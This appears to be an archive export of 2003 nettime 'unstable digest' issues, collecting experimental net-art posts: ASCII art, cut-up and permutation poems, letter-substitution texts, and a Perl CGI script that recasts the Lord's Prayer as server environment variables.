\\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nDate: Tue, 27 May 2003 13:50:30 +0200\nTo: s-e-v-e-n-c-k-h-r-.-.~ <7-11 {AT} mail.ljudmila.org>\nFrom: Johan Meskens CS2 jmcs2 <johanmeskenscs2 {AT} chromaticspaceandworld.com>\nSubject: Fwd: tryal\n\n\nfWD: TRYAL\n\n(E) Exit Setup:\n     This .\n\n(P) Printer:\n     Allows .\n\n(N) Newpassword:\n     Change .\n\n(C) Config:\n     Allows .\n\n(S) Signature:\n     Enter .\n\n(A) AddressBooks:\n     Define .\n\n(L) collectionLists:\n     You .\n\n(R) Rules:\n     This .\n\n\" THIS ALLOWS CHANGE ALLOWS ENTER DEFINE YOU THIS\n\nAnfang der weitergeleiteten E-Mail:\n\n> Von: Johan Meskens CS2 jmcs2 <jmcs2 {AT} chromaticspaceandworld.com>\n> Datum: Die, 27. Mai 2003  13:36:14 Europe/Berlin\n> An: johanmeskenscs2 {AT} chromaticspaceandworld.com\n> Betreff: tryal\n> Return-Path: <jmcs2 {AT} chromaticspaceandworld.com>\n> Envelope-To: johanmeskenscs2 {AT} chromaticspaceandworld.com\n> Delivery-Date: Tue, 27 May 2003 12:37:45 +0100\n> Received: from bb870.pppool.de ([213.7.184.112]) by \n> beck.meta-servers.com with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 3.36 \n> #1) id 19Kcm0-0001Ab-00 for \n> johanmeskenscs2 {AT} chromaticspaceandworld.com; Tue, 27 May 2003 12:37:45 \n> +0100\n> X-X-Sender: jmcs2 {AT} johan-meskens-cs2s-computer.local\n> Message-Id: \n> <Pine.OSX.4.55.0305271333360.375 {AT} johan-meskens-cs2s-computer.local>\n> Mime-Version: 1.0\n> Content-Type: TEXT/PLAIN; charset=US-ASCII\n> X-Virus-Scanned-By: Amavis with CLAM Anti Virus on \n> beck.meta-servers.com\n>\n>\n>\n> in the beginning\n>\n> and\n> n\n>\n> ,s\n>\n> an\n>\n> ENDING.Display all files and dir\n>\n\n\n\n\n\n.\n\n\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\n\n\nnettime unstable digest vol 49\nTue Jun  3 19:28:26 2003\n\n\nSubject: Re: [screenburn] Re: monthly collab---   o  - ---         rations?\n    From: \"][mez][\" <netwurker {AT} h...>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re: [screenburn] monthly collaborations?\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: 7-11 {AT} mail.ljudmila.org\n\nSubject: Re: monthly collaboration\n    From: Alan Sondheim <sondheim {AT} p...>          \n    To: s-e-v-e-n-c-k-h-r-.-.~ <7-11 {AT} mail.ljudmila.org>\n\nSubject: daedalus line----------       - - -  --------     -- -\n    From: \"][mez][\" <netwurker {AT} h...>\n    \n\nSubject: Re: [screenburn] daedalus line----------       - - -  --------     -- -\n    From: Alan Sondheim <sondheim {AT} p...>\n    \n\nSubject: Re: [screenburn] daedalus jack[+jill.fill]eted-line----------  - - -  --------     -- - \n    From: \"][mez][\" <netwurker {AT} h...>\n    \n\nSubject: Re: [screenburn] daedalus jack[+jill.fill]eted-line----------        - - -  --------     -- - \n    From: Lewis LaCook <llacook {AT} y...>\n    \n\nSubject: Re: [screenburn] daedalus jack[+jill.fill]eted-line----------      - - -  --------     -- -\n    From: Alan Sondheim <sondheim {AT} p...>\n    \n\nSubject: Are you having trouble\n    From: \"J. Lehmus\" <exp {AT} SURFEU.FI>\n    \n\nSubject: formatting test\n    From: Johan Meskens CS2 jmcs2 <\"johanmeskenscs2 {AT} chromaticspaceandworld.com\" {AT} mail.chromaticspaceandworld.com>\n    \n\nSubject: Fwd: tryal\n    From: Johan Meskens CS2 jmcs2 <johanmeskenscs2 {AT} chromaticspaceandworld.com>\n    \n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 4 Jun 2003 10:24:22 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200306041324.h54DOou02664 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0306/msg00024.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 49"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00097",
                "content": "\nDate: Thu, 24 Jul 2003 13:25:27 +0200\nTo: syndicate {AT} anart.no\nFrom: neil {AT} devoid.co.uk\nSubject: prayer.pl (corrected)\n\n\ncorrected - thanks exp\nplease put this in your cgi-bin\nset permissions and mail me the url\n--\n#!/usr/bin/perl\n\nprint \"Content-type: text/html\\n\\n\";\nprint <<AMEN;\n\nOur $ENV{GATEWAY_INTERFACE},\nwho art in $ENV{SERVER_ADDR},\nhallowed be thy $ENV{SERVER_NAME}.\nThy $ENV{PATH} come, \nthy will be $ENV{SERVER_PROTOCOL}, \non $ENV{HTTP_REFERER} as it is in $ENV{SERVER_ADDR}.\ngive us this $ENV{DATE_LOCAL} our daily $ENV{HTTP_ACCEPT} \nAnd forgive us our $ENV{REQUEST_METHOD}s, \nas we forgive those who $ENV{REQUEST_METHOD} against us. \nAnd lead us not into $ENV{QUERY_STRING}, \nbut deliver us from $!. \nFor thine is the $ENV{PATH}, \nthe $ENV{SERVER_SOFTWARE} and the $ENV{HTTP_USER_AGENT}. \nfor $$ and $$. \nAMEN\n\n\n\n\nDate:         Thu, 24 Jul 2003 11:07:26 +0200\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nSubject: Emotional Portraits After =?ISO-8859-1?Q?G=E9ricault?=\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nEmotional Portraits After G\u00e9ricault\n[from _The Psion Poems_]\n\n\n\n\n\nPSIONWPDATAFILE_____\u00ea\u00ea\u00ea\u00ea\u00ea\u00ea\u00ea\u00ea\u00ea\u00ea\u00ea\u00ea\u00ea\u00ea\u00ea\u00ea\u00ea\u00ea____\n_H      _\"________:_&#8218;.\u00c6A____r\n3\u00d0_\u00d0_______\u00ff\u00ff____\u00f0_______\u00f0_____________\u00f0___________ROM::BJ.WDR__________%\nP___P_BTBody text_     _______\u00f0___________\u00f0___\u00f0___      ___\u00d0___ ___p___ {AT} \n___\n__\u00e0___\u00b0___&#8364;_____P_HAHeading A_     _______\u00e0___________\u00e0___\u00f0_______\u00d0___\n___p___ {AT} \n___\n\n\n\nsteve\njos\u00e9 n\ngrandma rosario\neva\nlourdes\nm\u00f3nica\ndad\nmar\u00eda\ngiovanni\nrichard\nigor\nmom & dad, box #13\nchristoph\nmom\nmark\nel josep\nsantiago\nsergio\n\n\n\n\n\n\n\ni can't finish the portraits\n\na constant flux of feelings and memory\n\n\n\n\n\nDate:         Wed, 23 Jul 2003 17:13:26 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nSubject: A'u'tr'a'u'm'e'r'sp'i''e'l'au'g'e'n's'c'he''in''\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\n\nA'u'tr'a'u'm'e'r'sp'i''e'l'au'g'e'n's'c'he''in'' \n(spontaneous natural inventories)\n\n\n+AUT_\n(irru-p-tiwa-res/olu|tio|n)\n+AUT_\nFROMT[turn]HEERR[ride]ATAOF[friend]ALLEG[green]ORICA[action]\nLEART[turn]HQUAK[kill]EISHU[under]MTHE[energy]HUGEW[wonder] \nASMAD[death]EEFFE[energy]RVESC[carnal]ENTII[island]AMIDS[sex] \nTTHEM[moan]ALVER[ride]NWATE[energy]RSIII[island]THECA[action] \nRLSBA[action]DWATE[energy]RSIVA[action]NDWAS[sex]TH[hover]\nEREWI[island]THSAT[turn]EDWIT[turn]HTHEG[green]RAVIT[turn] \nYOFME[energy]NVAND[death]THERE[energy]INHIS[sex]RUDIM[moan] \nENTAR[ride]YHUTH[hover]E[energy]CUTIL[love]EUMVI[island] \nFORTH[hover]ELEPE[energy]RSVII[island]OFHER[ride]CULAN[noose] \nEUMVI[island]IIWHO[ohm]SETRE[energy]ESIXO[ohm]FSALT[turn] \nDIST[turn]ILLXA[action]NOMAL[love]YTOBE[energy]COMEF[friend] \nORTHW[wonder]ITHON[noose]EMRAT[turn]REMBL[love]EYX1T[turn] \nHEBEL[love]LADON[noose]NAX[xylophone]IIHER[ride]CULAN[noose] \nEUMXI[island]IISTO[ohm]RMSXI[island]VWHOS[sex]EPEAT[turn] \nPITXV[volume]PANTH[hover]EONXV[volume]ILEAV[volume]ENSTH[hover] \nEM[moan]OFFAT[turn]WELLX[xylophone]VIITH[hover]ERMOM[moan] \nETERX[xylophone]VIIIO[ohm]FPLAN[noose]TINAX[xylophone]XANDT[turn] \nEMPLE[energy]SERAP[polly]ISXXI[island]WH[hover]EREAS[sex] \nINGLE[energy]PARTH[hover]IANCO[ohm]INXXI[island]IMIGH[hover] \nTERUP[polly]TINTO[ohm]ASTOR[ride]MXXIV[volume]TOCAS[sex] \n+AUT_\n(irru-p-tiwa-res/olu|tio|n)\n+AUT_\nTALIG[gone]HTE[eel]NINGC[core]HURCH[hide]XXVUP[poly] \nONLOR[river]DWALP[poly]OLEXX[xenon]VIWHO[order]SESOA[alibi]\nPSTON[night]ESXXV[vein]IIAND[dream]PLAN[night]TSINC[core]\nOALXX[xenon]VIIIF[fool]LOATH[hide]IGHAB[bowl]OVECH[hide] \nELSEA[alibi]GARDE[eel]NSXXI[ice]XINVA[alibi]PORAS[star] \nCENTX[xenon]XX[xenon]TRING[gone]AXXXI[ice]TODRJ[joule] \nBASTE[eel]RXXXI[ice]IANDD[dream]RJBAS[star]TERXX[xenon] \nXIIIW[water]HOOVE[eel]RSEES[star]THEDO[order]CKS[star]\nOPERA[alibi]TIONX[xenon]XXIVA[alibi]NDTHE[eel]SOLAR[river] \nIRISX[xenon]XXVWH[hide]ICHHA[alibi]VINGI[ice]NGEST[toe] \nEDBLA[alibi]CKDUS[star]T[toe]XXXVI[ice]IDISG[gone] \nORGES[star]THEOP[poly]UTINA[alibi]XXXVI[ice]THERM[made] \nOMETE[eel]RSXXX[xenon]VIIII[ice]NAFOR[river]MLIKE[eel] \nSIA[alibi]MESET[toe]WINSX[xenon]XXIXO[order]RLYMP[poly] \nHATIC[core]VESSE[eel]LSXLT[toe]HREAD[dream]EDUPO[order] \nNAMAG[gone]NETIC[core]NEEDL[lips]E[eel]XLIPL[lips] \nUNGED[dream]DEEPI[ice]NTOTH[hide]EHEAD[dream]TUMOR[river] \nSXLII[ice]OFTHI[ice]SINDE[eel]TERMI[ice]NATEL[lips] \nITERA[alibi]TURE[eel]WHICH[hide]LIKET[toe]HESHE[eel] \nFFORD[dream]REGIS[star]TERXL[lips]IIIMA[alibi]KESAQ[quiet] \n+AUT_\n(irru-p-tiwa-res/olu|tio|n)\n+AUT_\nUICKA[agon]NEURY[yarn]SMTHI[idle]GHXLI[idle]VTO[ova] \nTHEST[ton]EAMFI[idle]REENG[glitch]INEXL[lava]VOFTH[hole] \nEECLI[idle]PSISL[lava]UNAEX[x-ray]LVITH[hole]EECLI[idle] \nPSISL[lava]UNAEX[x-ray]LVIIW[wind]HOSEM[mate]ORTIF[fold] \nICATI[idle]ONXLI[idle]XREAD[drip]SSATE[error]LLITU[use] \nMJOVI[idle]SXLVI[idle]IIJPR[run]INGLE[error]MDLFI[idle] \nLLEDH[hole]I[idle]SSTOM[mate]ACHWI[idle]THLIT[ton] \nHONTR[run]IPTIC[call]WATER[run]L1TOE[error]FFECT[ton] \nTHEPA[agon]LSYCU[use]REL2W[wind]HOSED[drip]AN[newt]\nGLING[glitch]ANDFO[ova]SSILF[fold]RUITS[slave]LICOM[mate] \nERIPE[error]BYTHE[error]OCCUR[run]ENCEO[ova]FSEPT[ton] \nOCTCO[ova]METLI[idle]IWH[hole]ICHPA[agon]SSESH[hole] \nIGHAB[bride]OVETH[hole]EEQUA[agon]TORLI[idle]IITHO[ova] \nUGHTH[hole]EHEAT[ton]OFAIR[run]LIVIN[newt]WHICH[hole] \nJOHN[newt]ELLIS[slave]WRITE[error]SALET[ton]TERLV[vapor] \nSTAIN[newt]INGCO[ova]TTONL[lava]VIAND[drip]COMME[error] \nNTSOF[fold]THESH[hole]EERPO[ova]PUL[lava]ATION[newt] \nLVIIT[]HESHE[error]ERPOP[popo]ULATI[idle]ONLVI[idle] \nIIWHO[ova]SESTE[error]ERING[glitch]ATTHE[error]EDGES[slave] \nGOESA[agon] FOOL[lava] \n+AUT_[interference-export];\n\n{=+=+=+=}\n\nA [action, alibi, agon]\nB [beam, bowl, bride]\nC [carnal, core, call]\nD [death, dream, drip]\nE [energy, eel, error]\nF [friend, fool, fold]\nG [green, gone, glitch]\nH [hover, hide, hole]\nI [island, ice, idle]\nJ [joke, joule, jail]\nK [kill, kind, kiss]\nL [love, lips, lava]\nM [moan, made, mate]\nN [noose, night, newt]\nO [ohm, order, ova]\nP [polly, poly, popo]\nQ [queer, quiet, queue]\nR [ride, river, run]\nS [sex, star, slave]\nT [turn, toe, ton]\nU [under, up, use]\nV [volume, vein, vapor]\nW [wonder, water, wind]\nX [xylophone, xenon, x-ray]\nY [year, you, yarn]\nZ [zone, zeit, zill]\n\n==\n\nI'Chum(e): s.Ware.Ab/sen:t Lette-r.s Ly...\n\n\n\n\n\n\n\n\nDate:         Sat, 19 Jul 2003 15:34:25 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: AFTER Whitehead\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n a b c d e f g h I j k l m n o p q r s t u v w x y z\n----------------------------------------------------\n                                     So\n                       long          So\n as                    long          So\n as                    long          Sothe\n as                    long          Sotemporal\n as                    long          Sotemporworld\n as              is    long          Sotemporworld\n as  conceived   is    long          Sotemporworld\n as  conceived   is    long          Sotemporworld\n a   conceived   is    long          Sotemporworld\n a   conceived   is    long          self-sufficient\n a   completion  is    long          self-sufficient\n a   completion  is    long  of      self-sufficient\n a   completion  is    long  of      sethe ufficient\n a   creative n  is    long  of      sethe ufficient\n act, reative n  is    long  of      sethe ufficient\n act, reaexplicable    long  of      sethe ufficient\n acby reaexplicable    long  of      sethe ufficient\n acby reaexplicabits   long  of      sethe ufficient\n acby rderivation ts   long  of      sethe ufficient\n acby rderifrom n ts   long  of      sethe ufficient\n an y rderifrom n ts   long  of      sethe ufficient\n an y rderifrom n ts   long  of      sethultimate nt\n an y rderifrom n ts   long  ofprinciple ultimate nt\n an y rderifrom n ts   long  ofprinciple ultiwhich t\n an y rderifrom nis    long  ofprinciple ultiwhich t\n at y rderifrom nis    long  ofprinciple ultiwhich t\n at y rderifrom nis    long  once nciple ultiwhich t\n at y rdeeminently     long  once nciple ultiwhich t\n at y rdeeminently     long  once nreal  ultiwhich t\n and  rdeeminently     long  once nreal  ultiwhich t\n and  rdeeminently     long  once nrealthe tiwhich t\n and  rdeeminently     long  once nrealthunmoved h t\n and  rdeeminently     lomover, e nrealthunmoved h t\n and  rdeemfrom ly     lomover, e nrealthunmoved h t\n and  rdeemfrom ly     lomover, e nrealthis oved h t\n and conclusion ly     lomover, e nrealthis oved h t\n and conclusion ly     lomover, e nrealthere ved h t\n and conclusion lis    lomover, e nrealthere ved h t\n and conclusion lis    lomono , e nrealthere ved h t\n and concescape: is    lomono , e nrealthere ved h t\n and concescape: is    lomono , e nrealthe e ved h t\n anbest cescape: is    lomono , e nrealthe e ved h t\n anbest cescape: is    lomono , e nrealthat  ved h t\n anbest cescape: is    lomono , e nrealthat  we  h t\n anbecan escape: is    lomono , e nrealthat  we  h t\n anbecan escape: is    lomono , e nresay at  we  h t\n anbecan escape: is    lomonoof e nresay at  we  h t\n anbecan escape: is    lomonoof e nresathe   we  h t\n anbecan escape: is    lomonoof e nresaturmoil   h t\n anbecan escape: is,   lomonoof e nresaturmoil   h t\n anbecan e=8CFor : is,   lomonoof e nresaturmoil   h t\n anbecan e=8CFor : is,   lomonoof e nreso urmoil   h t\n anbecan e=8CFor he s,   lomonoof e nreso urmoil   h t\n anbecan e=8CFogiveth    lomonoof e nreso urmoil   h t\n anbecan e=8CFogihis     lomonoof e nreso urmoil   h t\n anbeloved=8Bsleep.=B9     lomonoof e nreso urmoil   h t\n anbeloved=8Bsleep.=B9     lomonoof e nresoThis il   h t\n anbeloved=8Bsleep.is    lomonoof e nresoThis il   h t\n anbeloved=8Bsleep.is    lomonoof e nresothe  il   h t\n anbeloved=8Bsleep.is    lomessage  nresothe  il   h t\n anbeloved=8Bsleep.is    lomessof   nresothe  il   h t\n anbeloved=8Bsleep.is    lomessof   nreligions l   h t\n anbeloved=8Bsleep.is    lomessof   nreligions l   h t\n anbeloved=8Bsleep.is    lomessof   nrelithe s l   h t\n anBuddhistic ep.is    lomessof   nrelithe s l   h t\n anBuddhistic ep.is    lomessof   nrelitype, l   h t\n and ddhistic ep.is    lomessof   nrelitype, l   h t\n and ddhistic ep.in    lomessof   nrelitype, l   h t\n and ddhistic ep.in    lomessof   nresome e, l   h t\n and ddhistic ep.in    lomessof   nresense , l   h t\n and ddhistic ep.it    lomessof   nresense , l   h t\n and ddhistic ep.is    lomessof   nresense , l   h t\n and ddhistic ep.is    lomessof   nresetrue. l   h t\n and ddhistic ep.In    lomessof   nresetrue. l   h t\n and ddhistic ep.In    lomessof   nresethis  l   h t\n and ddhistfinal In    lomessof   nresethis  l   h t\n and dddiscussion n    lomessof   nresethis  l   h t\n and dddiscussion n    lomessof   nresethis  we  h t\n and dddiscussihave    lomessof   nresethis  we  h t\n and dddiscussihave    lomessof   nreseto s  we  h t\n ask, ddiscussihave    lomessof   nreseto s  we  h t\n ask, ddiscussihave    lomessof   nreseto s  whether\n ask, ddiscussihave    lometaphysical eto s  whether\n ask, ddiscussihave    lometaphprinciples s  whether\n ask, ddiscussihaimpose ometaphprinciples s  whether\n ask, ddiscussihaimpose ometaphprinciplthe   whether\n asbelief cussihaimpose ometaphprinciplthe   whether\n asbelief cussihaimpose ometaphprinciplthat  whether\n asbelief cussihait ose ometaphprinciplthat  whether\n asbelief cussihais ose ometaphprinciplthat  whether\n asbelief cussihais ose ometaphprinciplthe   whether\n asbelief cussihais ose ometaphprinciplthe   whole r\n asbelief cussihais ose ometaphprincipltruth. hole r\n asbelief cussihais ose ometaphprinciplThe h. hole r\n asbecomplexity ais ose ometaphprinciplThe h. hole r\n asbecomplexity ais ose ometaof rinciplThe h. hole r\n asbecomplexity ais ose ometaof rinciplthe h. hole r\n asbecomplexity ais ose ometaof rinciplthe h.world r\n asbecomplexity ais ose omust f rinciplthe h.world r\n asbe omplexity ais ose omust f rinciplthe h.world r\n asbe omplexity ais ose omust f rinreflected world r\n asbe omplexity ain ose omust f rinreflected world r\n asbe omplexity ain ose omust f rinreflthe d world r\n answer. lexity ain ose omust f rinreflthe d world r\n answer. lexity aIt ose omust f rinreflthe d world r\n answer. lexity ais ose omust f rinreflthe d world r\n answchildish y ais ose omust f rinreflthe d world r\n answchildish y ais ose omust f rinreflto  d world r\n answchilenter  ais ose omust f rinreflto  d world r\n answchilenter  ais ose omust f rinrefltoupon orld r\n answchilenter  ais ose omust f rinreflthought rld r\n answchilenter  ais ose omust f rinreflthoughwith  r\n answchilenter  ais ose omust f rinreflthe ghwith  r\n answchilenter  ais ose omust f rinresimple-minded r\n answchilenter  ais ose omust f rquestion, -minded r\n answchilenter  ais ose omust f rquestion, -mWhat  r\n answchilenter  ais ose omust f rquestion, -mWhat  r\n answchilenter  ais ose omust f rquestithe -mWhat  r\n answchilenter  ais ose omust f rquestithe -mworld r\n answchilenter  ais ose omade f rquestithe -mworld r\n answchilenter  ais ose omadeof? questithe -mworld r\n answchilenter  ais ose omadeof? questiThe -mworld r\n answchilenter  ais ose omadeof? questitask mworld r\n answchilenter  ais ose omadeof  questitask mworld r\n answchilenter  ais ose omadeof  qureason k mworld r\n answchilenter  ais ose omadeof  qureason k mworld r\n answchilenter  ais ose omadeof  qureasto k mworld r\n answchilenfathom s ose omadeof  qureasto k mworld r\n answchilenfathom s ose omadeof  qureasthe  mworld r\n answchdeeper hom s ose omadeof  qureasthe  mworld r\n answchdepths hom s ose omadeof  qureasthe  mworld r\n answchdepths hom s ose omadeof  qureasthe  mworld r\n answchdepths hom s ose omadeof  qureasthe  mworld r\n answchdepths hom s ose omany-sidedness he  mworld r\n answchdepths hom s ose omanyof dedness he  mworld r\n answchdepths hom s ose omanyof dednessthings. rld r\n answchdepths hom s ose omanyof dednessthingsWe ld r\n answchdepths hom s ose omust f dednessthingsWe ld r\n answchdepths hom s ose omunot  dednessthingsWe ld r\n answchdeexpect m s ose omunot  dednessthingsWe ld r\n answchdeexpect m s ose omunot  dednesimple sWe ld r\n answers expect m s ose omunot  dednesimple sWe ld r\n answers expect m s ose omunot  dednesito e sWe ld r\n answers exfar-reaching omunot  dednesito e sWe ld r\n answers exfar-reaching omunot  dquestions. sWe ld r\n answers exfar-However  omunot  dquestions. sWe ld r\n answers exfar However  omunot  dquestions. sWe ld r\n answers exfar However  omunoour questions. sWe ld r\n answers exfagaze ever  omunoour questions. sWe ld r\n answers exfagaze ever  omunooupenetrates,  sWe ld r\n answers exfagaze ever  omunooupenetratthere We ld r\n are ers exfagaze ever  omunooupenetratthere We ld r\n always  exfagaze ever  omunooupenetratthere We ld r\n always  exfagaheights  omunooupenetratthere We ld r\n albeyond xfagaheights  omunooupenetratthere We ld r\n albeyond xfagaheights  omunooupenetratthere which r\n alblock  xfagaheights  omunooupenetratthere which r\n alblock  xfagaheights  omunoour netratthere which r\n alblock  xfagaheights  omunoour netratthervision. r\n\n\n\n(c) mwp\n\n\n\nDate: Mon, 21 Jul 2003 18:08:22 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Knob0noth\n\n\nKnob0noth\n\ngulingding:::s    lumbe r ing am ong\ngulingdang:::the mong shum ong ang\ngulingdung:::mong ming lang lung shag sung\ngulingdang:::s lung shangle mud mange\ngulingdong:::slan g lan g lang hong ling l ang\ngulingdeng:::ing onging ung leng Tsulang\ngulingdaeng:::hulong ang ung mun g lan g\ngulingduing:::mulang-lang mulung-lung\nregulingdoing:::lilo dilungin lala lang lala ling\negulingdiong:::lingling lala langlang lulingolango\nagulingdaing:::langosongo singolungo lingo lingo\nangulingdeing:::chum song lilang-lang\nengulingdiung:::5 pence seasick coho salmon run\nengulingdiing:::ivory testicle club\negulingdieng:::mechanical venus murder\nagulingdaang:::Oliver Reed riding an elephant in the Swiss Alps; 1969.\nigulingduang:::The Woodbore and The Spider.\n\n\n\nDate: Mon, 21 Jul 2003 16:18:28 +0300 (EEST)\nFrom: exp {AT} surfeu.fi\nTo: cybermind {AT} listserv.aol.com\nSubject: Directions\n\nDIRECTIONS\n\n\nText BDAC\n railway statiothese: S, U, L,In the Helsinkin, pick one of\nforms 15 throug Jump off the t E, or A. (Plath 19, I think.)\np\u00e4vaara Stationstination for Arain at the Lep. That's the de\nll proceed to Eummi. You're ei, the others wispoo or Kirkkon\nm 4 or 1. Make platform 4. Thether on platforsure you're on\non your left ifng West. Walk ore's bus stops  you stand faci\np number 13. Yonumber 28. Somen. Find the stou need the bus\n not very freque bus, you can times these areent. Once on th\ne twenty minutetill be on the slumber for soms. You should s\n. road number 110\n\n\nText CBDA\nn, pick one of  railway statiothese: S, U, L,In the Helsinki\nh 19, I think.)forms 15 throug Jump off the t E, or A. (Plat\n. That's the dep\u00e4vaara Stationstination for Arain at the Lep\nspoo or Kirkkonll proceed to Eummi. You're ei, the others wi\nsure you're on m 4 or 1. Make platform 4. Thether on platfor\n you stand facion your left ifng West. Walk ore's bus stops\nu need the bus p number 13. Yonumber 28. Somen. Find the sto\nent. Once on th not very freque bus, you can times these are\ns. You should se twenty minutetill be on the slumber for som\n. road number 110\n\n-----\n\nText CBA\ne of these: S, U, L,way station, pick onIn the Helsinki rail\nink.) Jump off the t 15 through 19, I th E, or A. (Platforms\nhe destination for Ara Station. That's train at the Lepp\u00e4vaa\nrkkonummi. You're eioceed to Espoo or Ki, the others will pr\ne on platform 4. Ther 1. Make sure you'rther on platform 4 o\n facing West. Walk our left if you standre's bus stops on yo\n bus number 28. Someber 13. You need then. Find the stop num\non the bus, you can very frequent. Once times these are not\nuld still be on the nty minutes. You shoslumber for some twe\nroad number 110.\n\n\nText BCA\nway station, pick one of these: S, U, L,In the Helsinki rail\n 15 through 19, I think.) Jump off the t E, or A. (Platforms\nra Station. That's the destination for Arain at the Lepp\u00e4vaa\noceed to Espoo or Kirkkonummi. You're ei, the others will pr\nr 1. Make sure you're on platform 4. Thether on platform 4 o\nur left if you stand facing West. Walk ore's bus stops on yo\nber 13. You need the bus number 28. Somen. Find the stop num\nvery frequent. Once on the bus, you can times these are not\nnty minutes. You should still be on the slumber for some twe\nroad number 110.\n\n------------\n\nwith http://userpage.fu-berlin.de/~cantsin/permutations/gysin/cut-up.cgi\n\n\n\nDate: Sat, 19 Jul 2003 20:39:47 +0200\nTo: a place for discussion and improvement of things <7-11 {AT} mail.ljudmila.org>\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: Re:  __***ra*schw***ig**e*i*t**e*l*ge\n\n( jmcs2 is getting hard to understand )\n\n\n\n*** c * * * * * * e * * * * * _ * * a * * *\n*/*     *\n*utu* *n*can\nn\n=m=m/*sr\n*\n*\nh       *       *o*fd *f*u*cgc\nc\n  _ _cue*\n*\n*\ne i g du*t*b*naf*olt*n_o*o*s*/*si\ne w\n* i e * i e l l * _ _ * * * * * g */*\nd       *       *u* *tg g\n  * * *m* a *i  d d [ .\n\n\n\n         bbr     rt  rnp ] ruc/e amei[ . r\ni\nii      p       pu.tet\n\\dfsf n n nropnem]nCne\nc       p       n       [u]t]\\] n.n.rupt]n\ntnir...r\nS.o.o\n[\nr\np\\eu\nt]u\nfc.p\np       r\ne\no.tS\\[\\[ en]o\n         .\n\nu n\nt \\ ua\\ c[i.i]o].a\nL\nn\nc\na\nNb]u]t]\\e\\b.l.a.ai\u00edt[iN\nDn\n\nstsuru /[/.\\\n  lcF lcNnN=]u\neluF\nl r   N\n\n  l f a s [/[/. . d\\s\ns\nr r f c   [ . A\n  r s o N o . L ]\na\nf/aeNp]p]s]o\ntl\nr\nr\n   .\n\n/Loetios sn o.f.o.mLxLao\na\ns\nab /.t]tLoccafsoa\\ o =.=\n\\]zE\\fzc        o\n.r a. a/\n.nln.eli.a d N\n\n\n\n  *\ni\\  o .   ] M a       a a a   \u00ed     .\\]\\e E     prz/zaito tt.nN .\nei   r s \u00f3\\\u00f3 N .\n/Ep\negircaeaoNs\ns nuib a c a N \u00f3 N . L\n  a c d d (     o   i i d d   .\n  ]o\ntE ligl  Ne.n\n         e\n         a       ou[/onNt\nf]fEftut i   [\n  .mle\n\no\n[b.b\n\nn\nn oefpni i N ] ]\nel\\uiaea\nr\n. ]\n\n\n\nt\nb.o\n  \"o  | 1 - 9 0 - - 0\\-\n9\n\nl w\nl  /|\n\"\n\n|\n\n\n( jmcs2,5: night vergessen, MM volgende week! - nieuwe ijskast! - zelfde \nuniforme bron identeerder 